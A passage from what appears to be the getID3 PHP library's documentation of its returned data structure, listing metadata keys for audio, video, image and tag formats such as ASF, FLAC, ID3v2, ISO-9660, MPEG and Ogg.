'wma', etc) - ['encoder']=>string() // name and version of encoder used to create file, if known - ['lossless']=>boolean() // true = lossless compression; false = lossy compression - ['sample_rate']=>integer() - } - ['video']=>array() { - ['bitrate']=>integer() // average bitrate for video portion of file (all video streams), in bits per second - ['bitrate_mode']=>string() // 'cbr' (Constant Bit Rate) or 'vbr' (Variable Bit Rate) - ['bits_per_sample']=>integer() // - ['codec']=>string() // name of video compression codec - ['compression_ratio']=>double() // ratio of compressed byte size of video to uncompressed size - ['dataformat']=>string() // one of the standard filetype abbreviations ('avi', 'mpeg', etc) - ['encoder']=>string() // name and version of encoder used to create file, if known - ['frame_rate']=>double() // frames per second - ['lossless']=>boolean() // true = lossless compression; false = lossy compression - ['resolution_x']=>integer() // horizontal dimension of video/image in pixels - ['resolution_y']=>integer() // vertical dimension of video/image in pixels - ['pixel_aspect_ratio']=>double() // pixel display aspect ratio - } - ['tags']=>array() { // array of array of strings containing best data from any available metainformation tag (APE, ID3v2, ID3v1, Lyrics3, Vorbis, ASF, RIFF, Real, etc.) - []=>array() // can be anything, usually 'artist', 'title', etc. Contains array of one or more values (eg: multiple artists are possible) - } - ['tags_html']=>array() { // identical to ['tags'], but with all entries converted to HTML entities as appropriate from various source encodings - []=>array() // - } - ['replay_gain']=>array() { // replay gain information combined from any source that contains this information (LAME, ID3v2, Vorbis, APE, etc) - ['audiophile']=>array() { - ['adjustment']=>double() - ['originator']=>string() - ['peak']=>double() - } - ['radio']=>array() { - ['adjustment']=>double() - ['originator']=>string() - ['peak']=>double() - } - } - - - // SECTION 2: Values that are present for specific file types only - - ['aac']=>array() { // AAC - Advanced Audio Coding / MPEG-4 - ['bitrate_distribution']=>array() // - ['header']=>array() { // - ['channel_configuration']=>integer() // - ['crc_present']=>boolean() // - ['home']=>boolean() // - ['layer']=>integer() // - ['mpeg_version']=>integer() // - ['original']=>boolean() // - ['private']=>boolean() // - ['profile_id']=>integer() // - ['profile_text']=>string() // - ['sample_frequency']=>integer() // - ['sample_frequency_index']=>integer() // - ['synch']=>integer() // - } // - ['header_type']=>string() // - } // - // - ['ape']=>array() // - { // - ['comments']=>array() { // array of array of strings containing best data from any available metainformation tag (APE, ID3v2, ID3v1, Lyrics3, Vorbis, ASF, RIFF, Real, etc.) - []=>array() // can be anything, usually 'artist', 'title', etc. Contains array of one or more values (eg: multiple artists are possible) - } // - ['footer']=>array() // - { // - ['flags']=>array() // - ['raw']=>array() // - ['tag_version']=>integer() // - } // - ['header']=>array() // - { // - ['flags']=>array() // - ['raw']=>array() // - ['tag_version']=>integer() // - } // - ['items']=>array() { // array of array of strings containing metainformation - []=>array() { // can be anything, usually 'artist', 'title', etc. Contains array of one or more values (eg: multiple artists are possible) - ['data']=>array() { // array of one or more Unicode values - ['data_ascii']=>array() { // array of values converted approximately from Unicode to ASCII - ['flags']=>array() // - } // - } // - ['tag_offset_end']=>integer() // - ['tag_offset_start']=>integer() // - } // - - - ['asf']=>array() { // ASF - Advanced Streaming Format (ASF, Windows Media Audio (WMA), Windows Media Video (WMV)) - ['audio_media']=>array() { // - []=>array() { // - ['bitrate']=>integer() // - ['bits_per_sample']=>integer() // - ['channels']=>integer() // - ['codec']=>string() // - ['codec_data']=>string() // - ['codec_data_size']=>integer() // - ['raw']=>array() { // - ['nAvgBytesPerSec']=>integer() // - ['wBitsPerSample']=>integer() // - ['nBlockAlign']=>integer() // - ['nChannels']=>integer() // - ['nSamplesPerSec']=>integer() // - ['wFormatTag']=>integer() // - } // - ['sample_rate']=>integer() // - } // - } // - ['codec_list']=>array() { // - ['codec_entries']=>array() { // - []=>array() { // - ['description']=>string() // - ['description_ascii']=>string() // - ['information']=>string() // - ['name']=>string() // - ['name_ascii']=>string() // - ['type']=>string() // - ['type_raw']=>integer() // - } // - } // - ['codec_entries_count']=>integer() // - ['objectid']=>string() // - ['objectid_guid']=>string() // - ['objectsize']=>integer() // - ['reserved']=>string() // - ['reserved_guid']=>string() // - } // - ['comments']=>array() { // array of comment values, derived from ['content_description'] - ['album']=>string() // - ['artist']=>string() // - ['comment']=>string() // - ['copyright']=>string() // - ['genre']=>string() // - ['title']=>string() // - ['track']=>string() // - ['year']=>string() // - } // - ['content_description']=>array() { // raw values - should use values from ['comments'] instead - ['author']=>string() // - ['author_ascii']=>string() // - ['author_length']=>integer() // - ['copyright']=>string() // - ['copyright_ascii']=>string() // - ['copyright_length']=>integer() // - ['description']=>string() // - ['description_ascii']=>string() // - ['description_length']=>integer() // - ['objectid']=>string() // - ['objectid_guid']=>string() // - ['objectsize']=>integer() // - ['rating']=>string() // - ['rating_ascii']=>string() // - ['rating_length']=>integer() // - ['title']=>string() // - ['title_ascii']=>string() // - ['title_length']=>integer() // - } // - ['data_object']=>array() { // - ['fileid']=>string() // - ['fileid_guid']=>string() // - ['objectid']=>string() // - ['objectid_guid']=>string() // - ['objectsize']=>integer() // - ['reserved']=>integer() // - ['total_data_packets']=>integer() // - } // - ['extended_content_description']=>array() { // - ['content_descriptors']=>array() { // - []=>array() { // - ['name']=>string() // - ['name_ascii']=>string() // - ['name_length']=>integer() // - ['value']=>string() // - ['value_ascii']=>string() // - ['value_length']=>integer() // - ['value_type']=>integer() // - } // - } // - ['content_descriptors_count']=>integer() // - ['objectid']=>string() // - ['objectid_guid']=>string() // - ['objectsize']=>integer() // - } // - ['file_properties_object']=>array() { // - ['creation_date']=>double() // - ['creation_date_unix']=>double() // - ['data_packets']=>integer() // - ['fileid']=>string() // - ['fileid_guid']=>string() // - ['filesize']=>integer() // - ['flags']=>array() { // - ['broadcast']=>boolean() // - ['seekable']=>boolean() // - } // - ['flags_raw']=>integer() // - ['max_bitrate']=>integer() // - ['max_packet_size']=>integer() // - ['min_packet_size']=>integer() // - ['objectid']=>string() // - ['objectid_guid']=>string() // - ['objectsize']=>integer() // - ['play_duration']=>double() // - ['preroll']=>integer() // - ['send_duration']=>double() // - } // - ['header_extension_object']=>array() { // - ['extension_data']=>integer() // - ['extension_data_size']=>integer() // - ['objectid']=>string() // - ['objectid_guid']=>string() // - ['objectsize']=>integer() // - ['reserved_1']=>string() // - ['reserved_1_guid']=>string() // - ['reserved_2']=>integer() // - } // - ['header_object']=>array() { // - ['headerobjects']=>integer() // - ['objectid']=>string() // - ['objectid_guid']=>string() // - ['objectsize']=>integer() // - ['reserved1']=>integer() // - ['reserved2']=>integer() // - } // - ['marker_object']=>array() { // - ['markers_count']=>integer() // - ['objectid']=>string() // - ['objectid_guid']=>string() // - ['objectsize']=>integer() // - ['reserved']=>string() // - ['reserved_2']=>integer() // - ['reserved_guid']=>string() // - } // - ['stream_bitrate_properties']=>array() { // - ['bitrate_records']=>array() { // - []=>array() { // - ['bitrate']=>integer() // - ['flags_raw']=>integer() // - ['flags']=>array() { // - ['stream_number']=>integer() // - } // - } // - } // - ['bitrate_records_count']=>integer() // - ['objectid']=>string() // - ['objectid_guid']=>string() // - ['objectsize']=>integer() // - } // - ['stream_properties_object']=>array() { // - []=>array() { // - ['error_correct_data']=>string() // - ['error_correct_guid']=>string() // - ['error_correct_type']=>string() // - ['error_data_length']=>integer() // - ['flags_raw']=>integer() // - ['flags']=>array() { // - ['encrypted']=>boolean() // - } // - ['objectid']=>string() // - ['objectid_guid']=>string() // - ['objectsize']=>integer() // - ['stream_type']=>string() // - ['stream_type_guid']=>string() // - ['time_offset']=>integer() // - ['type_data_length']=>integer() // - ['type_specific_data']=>string() // - } // - } // - ['video_media']=>array() { // - []=>array() { // - ['flags']=>integer() // - ['format_data']=>array() { // - ['bits_per_pixel']=>integer() // - ['codec']=>string() // - ['codec_data']=>boolean() // - ['codec_fourcc']=>string() // - ['colors_important']=>integer() // - ['colors_used']=>integer() // - ['format_data_size']=>integer() // - ['horizontal_pels']=>integer() // - ['image_height']=>integer() // - ['image_size']=>integer() // - ['image_width']=>integer() // - ['reserved']=>integer() // - ['vertical_pels']=>integer() // - } // - ['format_data_size']=>integer() // - ['image_height']=>integer() // - ['image_width']=>integer() // - } // - } // - } // - - - ['au']=>array() { // AU - Next/Sun AUdio format - ['bits_per_sample']=>integer() // - ['channels']=>integer() // - ['comment']=>string() // - ['data_format']=>string() // - ['data_format_id']=>integer() // - ['data_size']=>integer() // - ['header_length']=>integer() // - ['sample_rate']=>integer() // - ['used_bits_per_sample']=>integer() // - } // - - - ['bmp']=>array() { // BMP - OS/2 or Windows BitMaP - ['header']=>array() { // - ['compression']=>string() // - ['raw']=>array() { // - ['bits_per_pixel']=>integer() // - ['bmp_data_size']=>integer() // - ['colors_important']=>integer() // - ['colors_used']=>integer() // - ['compression']=>integer() // - ['data_offset']=>integer() // - ['filesize']=>integer() // - ['header_size']=>integer() // - ['height']=>integer() // - ['identifier']=>string() // - ['planes']=>integer() // - ['resolution_h']=>integer() // - ['resolution_v']=>integer() // - ['width']=>integer() // - } // - } // - ['type_os']=>string() // - ['type_version']=>integer() // - } // - - - ['bonk']=>array() { // BONK - lossy/lossless audio compression (www.bonkenc.org) - ['BONK']=>array() { // - ['channels']=>integer() // - ['downsampling_ratio']=>integer() // - ['joint_stereo']=>boolean() // - ['lossless']=>boolean() // - ['number_samples']=>integer() // - ['number_taps']=>integer() // - ['offset']=>integer() // - ['sample_rate']=>integer() // - ['samples_per_packet']=>integer() // - ['size']=>integer() // - ['version']=>integer() // - } // - ['INFO']=>array() { // - ['size']=>integer() // - ['offset']=>integer() // - ['version']=>integer() // - []=>array() { // - ['nextbit']=>integer() // - ['offset']=>integer() // - } // - } // - ['dataend']=>integer() // - ['dataoffset']=>integer() // - } // - - - ['flac']=>array() { // FLAC - Free Lossless Audio Compressor - ['SEEKTABLE']=>array() { // - []=>array() { // - ['offset']=>integer() // - ['samples']=>integer() // - } // - ['placeholders']=>integer() // - ['raw']=>array() { // - ['block_data']=>string() // - ['block_length']=>integer() // - ['block_type']=>integer() // - ['block_type_text']=>string() // - ['last_meta_block']=>boolean() // - ['offset']=>integer() // - } // - } // - ['STREAMINFO']=>array() { // - ['audio_signature']=>string() // - ['bits_per_sample']=>integer() // - ['channels']=>integer() // - ['max_block_size']=>integer() // - ['max_frame_size']=>integer() // - ['min_block_size']=>integer() // - ['min_frame_size']=>integer() // - ['raw']=>array() { // - ['block_data']=>string() // - ['block_length']=>integer() // - ['block_type']=>integer() // - ['block_type_text']=>string() // - ['last_meta_block']=>boolean() // - ['offset']=>integer() // - } // - ['sample_rate']=>integer() // - ['samples_stream']=>integer() // - } // - ['VORBIS_COMMENT']=>array() { // - ['raw']=>array() { // - ['block_data']=>string() // - ['block_length']=>integer() // - ['block_type']=>integer() // - ['block_type_text']=>string() // - ['last_meta_block']=>boolean() // - ['offset']=>integer() // - } // - } // - ['compressed_audio_bytes']=>integer() // - ['compression_ratio']=>double() // - ['uncompressed_audio_bytes']=>integer() // - } // - - - ['gif']=>array() { // GIF - Graphics Interchange Format - ['global_color_table']=>array() { // - []=>integer() // - } // - ['header']=>array() { // - ['bits_per_pixel']=>integer() // - ['flags']=>array() { // - ['global_color_sorted']=>boolean() // - ['global_color_table']=>boolean() // - } // - ['global_color_size']=>integer() // - ['raw']=>array() { // - ['aspect_ratio']=>integer() // - ['bg_color_index']=>integer() // - ['flags']=>integer() // - ['height']=>integer() // - ['identifier']=>string() // - ['version']=>string() // - ['width']=>integer() // - } // - } // - ['version']=>string() // - } // - - - ['id3v1']=>array() { // ID3v1 - ['album']=>string() // - ['artist']=>string() // - ['comment']=>string() // - ['genre']=>string() // - ['genreid']=>integer() // - ['title']=>string() // - ['track']=>integer() // - ['year']=>string() // - ['padding_valid']=>boolean() // - ['comments']=>array() // - ['tag_offset_start']=>integer() // - ['tag_offset_end']=>integer() // - } // - - - ['id3v2']=>array() { // ID3v2 - www.id3.org - []=>array() { // can be any of the 4-character (3-character in ID3v2.2) frame names allowed in the ID3v2 spec. Exact contents of returned array data varies with frame type. - []=>array() { // some frames types allow multiple values ('COMM' for example), others do not and do not have this array level - ['asciidata']=>boolean() // - ['asciidescription']=>string() // - ['data']=>boolean() // - ['datalength']=>integer() // - ['dataoffset']=>integer() // - ['description']=>string() // - ['encoding']=>string() // - ['encodingid']=>integer() // - ['flags']=>array() { // - ['Encryption']=>boolean() // - ['FileAlterPreservation']=>boolean() // - ['GroupingIdentity']=>boolean() // - ['ReadOnly']=>boolean() // - ['TagAlterPreservation']=>boolean() // - ['compression']=>boolean() // - } // - ['framenamelong']=>string() // - ['language']=>string() // - ['languagename']=>string() // - } // - } // - ['comments']=>array() { // array of array of strings containing best data from any available metainformation tag (APE, ID3v2, ID3v1, Lyrics3, Vorbis, ASF, RIFF, Real, etc.) - []=>array() // can be anything, usually 'artist', 'title', etc. Contains array of one or more values (eg: multiple artists are possible) - } // - ['flags']=>array() { // - ['experim']=>string() // - ['exthead']=>string() // - ['unsynch']=>string() // - } // - ['header']=>boolean() // - ['headerlength']=>integer() // - ['majorversion']=>integer() // - ['minorversion']=>integer() // - ['padding']=>array() { // - ['length']=>integer() // - ['start']=>integer() // - ['valid']=>boolean() // - } // - ['tag_offset_end']=>integer() // - ['tag_offset_start']=>integer() // - } // - - - ['iso']=>array() { // ISO-9660 - CD-ROM Image - ['directories']=>array() { // - []=>array() { // - []=>array() { // - ['file_flags']=>array() { // - ['associated']=>boolean() // - ['directory']=>boolean() // - ['extended']=>boolean() // - ['hidden']=>boolean() // - ['multiple']=>boolean() // - ['permissions']=>boolean() // - } // - ['file_identifier_ascii']=>string() // - ['filename']=>string() // - ['filesize']=>integer() // - ['offset_bytes']=>integer() // - ['raw']=>array() { // - ['extended_attribute_length']=>integer() // - ['file_flags']=>integer() // - ['file_identifier']=>string() // - ['file_identifier_length']=>integer() // - ['file_unit_size']=>integer() // - ['filesize']=>integer() // - ['interleave_gap_size']=>integer() // - ['length']=>integer() // - ['offset_logical']=>integer() // - ['recording_date_time']=>string() // - ['volume_sequence_number']=>integer() // - } // - ['recording_timestamp']=>integer() // - } // - } // - } // - ['files']=>array() { // multidimensional tree-structure array listing of all files and directories in image - []=>array() // entries of type array are directories (key is directory name), may contain files and/or other subdirectories - []=>integer() // entries of type integer are files (key is file name, value is file size in bytes) - } // - ['path_table']=>array() { // - ['directories']=>array() { // - []=>array() { // - ['extended_length']=>integer() // - ['full_path']=>string() // - ['length']=>integer() // - ['location_bytes']=>integer() // - ['location_logical']=>integer() // - ['name']=>string() // - ['name_ascii']=>string() // - ['parent_directory']=>integer() // - } // - } // - ['offset']=>integer() // - ['raw']=>string() // - } // - ['primary_volume_descriptor']=>array() { // - ['abstract_file_identifier']=>string() // - ['application_identifier']=>string() // - ['bibliographic_file_identifier']=>string() // - ['copyright_file_identifier']=>string() // - ['data_preparer_identifier']=>string() // - ['offset']=>integer() // - ['publisher_identifier']=>string() // - ['raw']=>array() { // - ['abstract_file_identifier']=>string() // - ['application_data']=>string() // - ['application_identifier']=>string() // - ['bibliographic_file_identifier']=>string() // - ['copyright_file_identifier']=>string() // - ['data_preparer_identifier']=>string() // - ['file_structure_version']=>integer() // - ['logical_block_size']=>integer() // - ['path_table_l_location']=>integer() // - ['path_table_l_opt_location']=>integer() // - ['path_table_m_location']=>integer() // - ['path_table_m_opt_location']=>integer() // - ['path_table_size']=>integer() // - ['publisher_identifier']=>string() // - ['root_directory_record']=>string() // - ['standard_identifier']=>string() // - ['system_identifier']=>string() // - ['unused_1']=>string() // - ['unused_2']=>string() // - ['unused_3']=>string() // - ['unused_4']=>integer() // - ['volume_creation_date_time']=>string() // - ['volume_descriptor_type']=>integer() // - ['volume_descriptor_version']=>integer() // - ['volume_effective_date_time']=>string() // - ['volume_expiration_date_time']=>string() // - ['volume_identifier']=>string() // - ['volume_modification_date_time']=>string() // - ['volume_sequence_number']=>integer() // - ['volume_set_identifier']=>string() // - ['volume_set_size']=>integer() // - ['volume_space_size']=>integer() // - } // - ['system_identifier']=>string() // - ['volume_creation_date_time']=>integer() // - ['volume_effective_date_time']=>boolean() // - ['volume_expiration_date_time']=>boolean() // - ['volume_identifier']=>string() // - ['volume_modification_date_time']=>integer() // - ['volume_set_identifier']=>string() // - } // - ['supplementary_volume_descriptor']=>array() { // - ['abstract_file_identifier']=>string() // - ['application_identifier']=>string() // - ['bibliographic_file_identifier']=>string() // - ['copyright_file_identifier']=>string() // - ['data_preparer_identifier']=>string() // - ['offset']=>integer() // - ['publisher_identifier']=>string() // - ['raw']=>array() { // - ['abstract_file_identifier']=>string() // - ['application_data']=>string() // - ['application_identifier']=>string() // - ['bibliographic_file_identifier']=>string() // - ['copyright_file_identifier']=>string() // - ['data_preparer_identifier']=>string() // - ['file_structure_version']=>integer() // - ['logical_block_size']=>integer() // - ['path_table_l_location']=>integer() // - ['path_table_l_opt_location']=>integer() // - ['path_table_m_location']=>integer() // - ['path_table_m_opt_location']=>integer() // - ['path_table_size']=>integer() // - ['publisher_identifier']=>string() // - ['root_directory_record']=>string() // - ['standard_identifier']=>string() // - ['system_identifier']=>string() // - ['unused_1']=>string() // - ['unused_2']=>string() // - ['unused_3']=>string() // - ['unused_4']=>integer() // - ['volume_creation_date_time']=>string() // - ['volume_descriptor_type']=>integer() // - ['volume_descriptor_version']=>integer() // - ['volume_effective_date_time']=>string() // - ['volume_expiration_date_time']=>string() // - ['volume_identifier']=>string() // - ['volume_modification_date_time']=>string() // - ['volume_sequence_number']=>integer() // - ['volume_set_identifier']=>string() // - ['volume_set_size']=>integer() // - ['volume_space_size']=>integer() // - } // - ['system_identifier']=>string() // - ['volume_creation_date_time']=>integer() // - ['volume_effective_date_time']=>boolean() // - ['volume_expiration_date_time']=>boolean() // - ['volume_identifier']=>string() // - ['volume_modification_date_time']=>integer() // - ['volume_set_identifier']=>string() // - } // - } // - - - ['jpg']=>array() { // JPEG - still image - ['exif']=>array() // data returned from PHP's exif_read_data() function - } // - - - ['la']=>array() { // LA - Lossless Audio (www.lossless-audio.com) - ['raw']=>array() { - ['format']=>integer() // - ['flags']=>integer() // - } // - ['flags']=>array() { // - ['seekable']=>boolean() // - ['high_compression']=>boolean() // - } // - ['bits_per_sample']=>integer() // - ['bytes_per_sample']=>integer() // - ['bytes_per_second']=>integer() // - ['channels']=>integer() // - ['compression_ratio']=>double() // - ['format_size']=>integer() // - ['header_size']=>integer() // - ['original_crc']=>double() // - ['sample_rate']=>integer() // - ['samples']=>integer() // - ['uncompressed_size']=>integer() // - ['version']=>double() // - ['version_major']=>integer() // - ['version_minor']=>integer() // - ['footerstart']=>double() // - } - - - ['lpac']=>array() { // LPAC - Lossless Predictive Audio Compressor - ['block_length']=>integer() // - ['file_version']=>integer() // - ['flags']=>array() { // - ['16_bit']=>boolean() // - ['24_bit']=>boolean() // - ['adaptive_prediction_order']=>boolean() // - ['adaptive_quantization']=>boolean() // - ['fast_compress']=>boolean() // - ['is_wave']=>boolean() // - ['joint_stereo']=>boolean() // - ['max_prediction_order']=>integer() // - ['quantization']=>integer() // - ['random_access']=>boolean() // - ['stereo']=>boolean() // - } // - ['raw']=>array() { // - ['audio_type']=>integer() // - ['parameters']=>double() // - } // - ['total_samples']=>integer() // - } // - - - ['lyrics3']=>array() { // Lyrics3 - metainformation tags - ['comments']=>array() { // - ['album']=>string() // - ['artist']=>string() // - ['author']=>string() // - ['comment']=>string() // - ['title']=>string() // - } // - ['flags']=>array() { // - ['lyrics']=>boolean() // - ['timestamps']=>boolean() // - } // - ['images']=>array() { // - []=>array() { // - ['description']=>string() // - ['filename']=>string() // - ['timestamp']=>integer() // - } // - } // - ['raw']=>array() { // - ['offset_start']=>integer() // - ['offset_end']=>integer() // - ['AUT']=>string() // - ['EAL']=>string() // - ['EAR']=>string() // - ['ETT']=>string() // - ['IMG']=>string() // - ['IND']=>string() // - ['INF']=>string() // - ['LYR']=>string() // - ['lyrics3tagsize']=>integer() // - ['lyrics3version']=>integer() // - ['unparsed']=>string() // - } // - ['synchedlyrics']=>array() { // - []=>string() // - } // - ['unsynchedlyrics']=>string() // - } // - - - ['midi']=>array() { // MIDI (Musical Instrument Digital Interface) - sequenced music - ['comments']=>array() { // - ['comment']=>string() // - ['copyright']=>string() // - } // - ['keysignature']=>array() { // - []=>string() // - } // - ['raw']=>array() { // - ['events']=>array() { // - []=>array() { // - []=>array() { // - ['us_qnote']=>integer() // - } // - } // - } // - ['fileformat']=>integer() // - ['headersize']=>integer() // - ['ticksperqnote']=>integer() // - ['track']=>array() { // - []=>array() { // - ['instrument']=>string() // - ['instrumentid']=>integer() // - ['name']=>string() // - } // - } // - ['tracks']=>integer() // - } // - ['timesignature']=>array() { // - []=>string() // - } // - ['totalticks']=>integer() // - } // - - - ['monkeys_audio']=>array() { // Monkey's Audio - lossless audio compression - ['bitrate']=>double() // - ['bits_per_sample']=>integer() // - ['channels']=>integer() // - ['compressed_size']=>integer() // - ['compression']=>string() // - ['compression_ratio']=>double() // - ['flags']=>array() { // - ['24-bit']=>boolean() // - ['8-bit']=>boolean() // - ['crc-32']=>boolean() // - ['no_wav_header']=>boolean() // - ['peak_level']=>boolean() // - ['seek_elements']=>boolean() // - } // - ['frames']=>integer() // - ['peak_level']=>integer() // - ['peak_ratio']=>double() // - ['playtime']=>double() // - ['raw']=>array() { // - ['header_tag']=>string() // - ['nChannels']=>integer() // - ['nCompressionLevel']=>integer() // - ['nFinalFrameSamples']=>integer() // - ['nFormatFlags']=>integer() // - ['nPeakLevel']=>integer() // - ['nSampleRate']=>integer() // - ['nSeekElements']=>integer() // - ['nTotalFrames']=>integer() // - ['nVersion']=>integer() // - ['nWAVHeaderBytes']=>integer() // - ['nWAVTerminatingBytes']=>integer() // - } // - ['sample_rate']=>integer() // - ['samples']=>integer() // - ['samples_per_frame']=>integer() // - ['uncompressed_size']=>integer() // - ['version']=>double() // - } // - - - ['mpc']=>array() { // MPC (Musepack) - lossy audio compression - ['header']=>array() { // - ['album_gain_db']=>integer() // - ['album_peak']=>integer() // - ['album_peak_db']=>boolean() // - ['title_gain_db']=>integer() // - ['title_peak']=>integer() // - ['title_peak_db']=>boolean() // - ['begin_loud']=>boolean() // - ['end_loud']=>boolean() // - ['encoder_version']=>string() // - ['frame_count']=>integer() // - ['intensity_stereo']=>boolean() // - ['last_frame_length']=>integer() // - ['max_level']=>integer() // - ['max_subband']=>integer() // - ['mid_side_stereo']=>boolean() // - ['profile']=>string() // - ['sample_rate']=>integer() // - ['samples']=>integer() // - ['size']=>integer() // - ['stream_major_version']=>integer() // - ['stream_minor_version']=>integer() // - ['true_gapless']=>boolean() // - ['raw']=>array() { // - ['album_gain']=>integer() // - ['album_peak']=>integer() // - ['encoder_version']=>integer() // - ['preamble']=>string() // - ['profile']=>integer() // - ['sample_rate']=>integer() // - ['title_gain']=>integer() // - ['title_peak']=>integer() // - } // - } // - } // - - - ['mpeg']=>array() { // MPEG (Motion Picture Experts Group) - MPEG video and/or MPEG audio (MP3/MP2/MP1) - ['audio']=>array() { // - ['LAME']=>array() { // - ['RGAD']=>array() { // - ['peak_amplitude']=>double() // - } // - ['ath_type']=>integer() // - ['audio_bytes']=>integer() // - ['bitrate_min']=>integer() // - ['encoder_delay']=>integer() // - ['encoding_flags']=>array() { // - ['nogap_next']=>boolean() // - ['nogap_prev']=>boolean() // - ['nspsytune']=>boolean() // - ['nssafejoint']=>boolean() // - } // - ['end_padding']=>integer() // - ['lame_tag_crc']=>integer() // - ['lowpass_frequency']=>integer() // - ['mp3_gain_db']=>double() // - ['mp3_gain_factor']=>double() // - ['mp3_gain_raw']=>integer() // - ['music_crc']=>integer() // - ['noise_shaping']=>integer() // - ['noise_shaping_raw']=>integer() // - ['not_optimal_quality']=>boolean() // - ['not_optimal_quality_raw']=>integer() // - ['preset_used_id']=>integer() // - ['short_version']=>string() // ex: "LAME 3.93" - ['long_version']=>string() // (pre-v3.90 only) ex: "LAME 3.88 (alpha)" - ['source_sample_freq']=>string() // - ['source_sample_freq_raw']=>integer() // - ['stereo_mode']=>string() // - ['stereo_mode_raw']=>integer() // - ['surround_info']=>string() // - ['surround_info_id']=>integer() // - ['tag_revision']=>integer() // - ['vbr_method']=>string() // - ['vbr_method_raw']=>integer() // - } // - ['VBR_bitrate']=>double() // - ['VBR_bytes']=>integer() // - ['VBR_frames']=>integer() // - ['VBR_method']=>string() // - ['VBR_scale']=>integer() // - ['bitrate']=>integer() // - ['bitrate_distribution']=>array() { // - ['free']=>integer() // - ['8']=>integer() // - ['16']=>integer() // - ['24']=>integer() // - ['32']=>integer() // - ['40']=>integer() // - ['48']=>integer() // - ['56']=>integer() // - ['64']=>integer() // - ['80']=>integer() // - ['96']=>integer() // - ['112']=>integer() // - ['128']=>integer() // - ['144']=>integer() // - ['160']=>integer() // - } // - ['bitrate_mode']=>string() // - ['channelmode']=>string() // - ['channels']=>integer() // - ['copyright']=>boolean() // - ['crc']=>integer() // - ['emphasis']=>string() // - ['frame_count']=>integer() // - ['framelength']=>integer() // - ['layer']=>integer() // - ['modeextension']=>string() // - ['original']=>boolean() // - ['padding']=>boolean() // - ['private']=>boolean() // - ['protection']=>boolean() // - ['raw']=>array() { // - ['bitrate']=>integer() // - ['channelmode']=>integer() // - ['copyright']=>integer() // - ['emphasis']=>integer() // - ['layer']=>integer() // - ['modeextension']=>integer() // - ['original']=>integer() // - ['padding']=>integer() // - ['private']=>integer() // - ['protection']=>integer() // - ['sample_rate']=>integer() // - ['synch']=>integer() // - ['version']=>integer() // - } // - ['sample_rate']=>integer() // - ['stereo_distribution']=>array() { // - ['dual channel']=>integer() // - ['joint stereo']=>integer() // - ['mono']=>integer() // - ['stereo']=>integer() // - } // - ['toc']=>array() { // - []=>integer() // - } // - ['version']=>string() // - ['version_distribution']=>array() { // - []=>integer() // - []=>integer() // - ['2.5']=>integer() // - } // - ['xing_flags']=>array() { // - ['bytes']=>boolean() // - ['frames']=>boolean() // - ['toc']=>boolean() // - ['vbr_scale']=>boolean() // - } // - ['xing_flags_raw']=>string() // - } // - ['video']=>array() { // - ['bitrate']=>integer() // - ['bitrate_mode']=>string() // - ['frame_rate']=>double() // - ['framesize_horizontal']=>integer() // - ['framesize_vertical']=>integer() // - ['pixel_aspect_ratio']=>double() // - ['pixel_aspect_ratio_text']=>string() // - ['raw']=>array() { // - ['bitrate']=>integer() // - ['constrained_param_flag']=>integer() // - ['frame_rate']=>integer() // - ['framesize_horizontal']=>integer() // - ['framesize_vertical']=>integer() // - ['intra_quant_flag']=>integer() // - ['marker_bit']=>integer() // - ['pixel_aspect_ratio']=>integer() // - ['vbv_buffer_size']=>integer() // - } // - } // - } // - - - ['nsv']=>array() { // NSV - Nullsoft Streaming Video - ['NSVf']=>array() { // - ['TOC_entries_1']=>integer() // - ['TOC_entries_2']=>integer() // - ['file_size']=>integer() // - ['header_length']=>integer() // - ['identifier']=>string() // - ['meta_size']=>integer() // - ['metadata']=>string() // - ['playtime_ms']=>integer() // - } // - ['NSVs']=>array() { // - ['audio_codec']=>string() // - ['frame_rate']=>double() // - ['framerate_index']=>integer() // - ['identifier']=>string() // - ['offset']=>integer() // - ['resolution_x']=>integer() // - ['resolution_y']=>integer() // - ['unknown1b']=>integer() // - ['unknown1c']=>integer() // - ['unknown1d']=>integer() // - ['unknown2a']=>integer() // - ['unknown2b']=>integer() // - ['unknown2c']=>integer() // - ['unknown2d']=>integer() // - ['unknown3a']=>integer() // - ['unknown3b']=>integer() // - ['unknown3c']=>integer() // - ['unknown3d']=>integer() // - ['video_codec']=>string() // - } // - ['comments']=>array() { // - ['aspect']=>string() // - ['title']=>string() // - } // - } // - - - ['ofr']=>array() { // OFR (OptimFROG) - lossless audio compression - ['COMP']=>array() { // - []=>array() { // - ['channel_configuration']=>string() // - ['crc_32']=>boolean() // - ['encoder']=>string() // - ['offset']=>integer() // - ['raw']=>array() { // - ['algorithm_id']=>integer() // - ['channel_configuration']=>integer() // - ['encoder_id']=>integer() // - ['sample_type']=>integer() // - } // - ['sample_count']=>integer() // - ['sample_type']=>string() // - ['size']=>integer() // - } // - } // - ['HEAD']=>array() { // - ['offset']=>integer() // - ['size']=>integer() // - } // - ['OFR ']=>array() { // - ['channel_config']=>integer() // - ['channels']=>integer() // - ['compression']=>string() // - ['encoder']=>string() // - ['offset']=>integer() // - ['raw']=>array() { // - ['compression']=>integer() // - ['encoder_id']=>integer() // - ['sample_type']=>integer() // - } // - ['sample_rate']=>integer() // - ['sample_type']=>string() // - ['size']=>integer() // - ['total_samples']=>integer() // - } // - ['TAIL']=>array() { // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - - - ['ogg']=>array() { // OGG - container format for Ogg Vorbis, OggFLAC, Speex, etc - ['bitrate_average']=>double() // - ['bitrate_max']=>integer() // - ['bitrate_min']=>integer() // - ['bitrate_nominal']=>integer() // - ['bitstreamversion']=>integer() // - ['blocksize_large']=>integer() // - ['blocksize_small']=>integer() // - ['comments']=>array() { // array of array of strings containing best data from any available metainformation tag (APE, ID3v2, ID3v1, Lyrics3, Vorbis, ASF, RIFF, Real, etc.) - []=>array() // can be anything, usually 'artist', 'title', etc. Contains array of one or more values (eg: multiple artists are possible) - } // - ['comments_raw']=>array() { // - []=>array() { // - ['dataoffset']=>integer() // - ['key']=>string() // - ['size']=>integer() // - ['value']=>string() // - } // - } // - ['numberofchannels']=>integer() // - ['pageheader']=>array() { // - []=>array() { // - ['flags']=>array() { // - ['bos']=>boolean() // - ['eos']=>boolean() // - ['fresh']=>boolean() // - } // - ['flags_raw']=>integer() // - ['header_end_offset']=>integer() // - ['packet_type']=>integer() // - ['page_checksum']=>double() // - ['page_end_offset']=>integer() // - ['page_length']=>integer() // - ['page_segments']=>integer() // - ['page_seqno']=>integer() // - ['page_start_offset']=>integer() // - ['pcm_abs_position']=>integer() // - ['segment_table']=>array() { // - []=>integer() // - } // - ['stream_serialno']=>integer() // - ['stream_structver']=>integer() 